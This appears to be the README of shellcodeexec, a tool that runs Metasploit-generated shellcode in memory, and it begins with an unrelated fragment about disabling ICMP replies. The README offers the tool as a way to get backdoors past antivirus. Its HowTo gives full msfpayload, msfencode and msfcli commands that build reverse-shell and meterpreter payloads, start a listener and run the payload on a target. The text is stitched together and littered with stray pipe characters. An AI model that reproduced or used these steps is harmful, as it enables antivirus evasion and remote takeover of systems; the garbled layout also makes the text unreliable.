The master is straight forward to use. There are no extra libraries required for the C version.

When running the master, don't forget to disable ICMP replies by the OS. For example:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

sysctl -w net.ipv4.icmp_echo_ignore_all=1

= Short description =
|
||||
|
||||
shellcodeexec is a small script to execute in memory a sequence of opcodes.
|
||||
|
||||
|
||||
= Background =
|
||||
|
||||
Most of the shellcode launchers out there, including proof of concepts
|
||||
part of many "security" books, detail how to allocate a memory page as
|
||||
readable/writable/executable on POSIX systems, copy over your shellcode
|
||||
and execute it. This works just fine. However, it is limited to POSIX,
|
||||
does not necessarily consider 64-bit architecture and Windows systems.
|
||||
|
||||
|
||||
= Description =
|
||||
|
||||
This script and the relevant project files (Makefile and Visual Studio
|
||||
files) allow you to compile the tool once then run your shellcode across
|
||||
different architectures and operating systems.
|
||||
|
||||
Moreover, it solves a common real world issue: the target system's anti
|
||||
virus software blocking a Metasploit-generated payload stager (either EXE
|
||||
of ELF). Take for instance the following command line:
|
||||
|
||||
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe
|
||||
|
||||
This generates a Metasploit payload stager, payload.exe, that as soon as
|
||||
it lands on the AV-protected target system is recognized as malicious and
|
||||
potentially blocked (depending on the on-access scan settings) by many
|
||||
anti virus products. At the time of writing this text, 21 out 41 anti
|
||||
viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it
|
||||
multiple times with msfencode, less AV softwares detect it, still a lot.
|
||||
|
||||
I have been surfing the Net and found some interesting tutorials and
|
||||
guides about packing, compressing, obfuscating and applying IDA-foo to
|
||||
portable executables et similar in order to narrow down the number of AV
|
||||
products that can detect it as a malicious file. This is all interesting,
|
||||
but does not stop few hard-to-die anti viruses to detect your backdoor.
|
||||
|
||||
So the question is, how cool would it be to have a final solution to avoid
|
||||
all this hassle? This is exactly where this tool comes into play!
|
||||
|
||||
|
||||
= Features =
|
||||
|
||||
shellcodeexec:
|
||||
|
||||
* Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
|
||||
|
||||
* Can be compiled and works on 32-bit and 64-bit architectures.
|
||||
|
||||
* As far as I know, no AV detect it as malicious.
|
||||
|
||||
* Works in DEP/NX-enabled environments: it allocates the memory page where
|
||||
it stores the shellcode as +rwx - Readable Writable and eXecutable.
|
||||
|
||||
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded
|
||||
shellcode (generated for instance with Metasploit's msfpayload) to
|
||||
Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the
|
||||
BufferRegister variable to EAX registry where the address in memory of
|
||||
the shellcode will be stored, to avoid get_pc() binary stub to be
|
||||
prepended to the shellcode.
|
||||
|
||||
* Spawns a new thread where the shellcode is executed in a structure
|
||||
exception handler (SEH) so that if you wrap shellcodeexec into your own
|
||||
executable, it avoids the whole process to crash in case of unexpected
|
||||
behaviours.
|
||||
|
||||
|
||||
= HowTo =
|
||||
|
||||
1. Generate a Metasploit shellcode and encode it with the alphanumeric
|
||||
encoder. For example for a Linux target:
|
||||
|
||||
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
|
||||
|
||||
Or for a Windows target:
|
||||
|
||||
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
|
||||
|
||||
|
||||
2. Execute the Metasploit multi/handler listener on your machine. For
|
||||
example for a Linux target:
|
||||
|
||||
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
|
||||
|
||||
Or for a Windows target:
|
||||
|
||||
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
|
||||
|
||||
|
||||
3. Execute the alphanumeric-encoded shellcode with this tool. For example
|
||||
on the Linux target:
|
||||
|
||||
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
|
||||
|
||||
Or, on the Windows target:
|
||||
|
||||
C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>
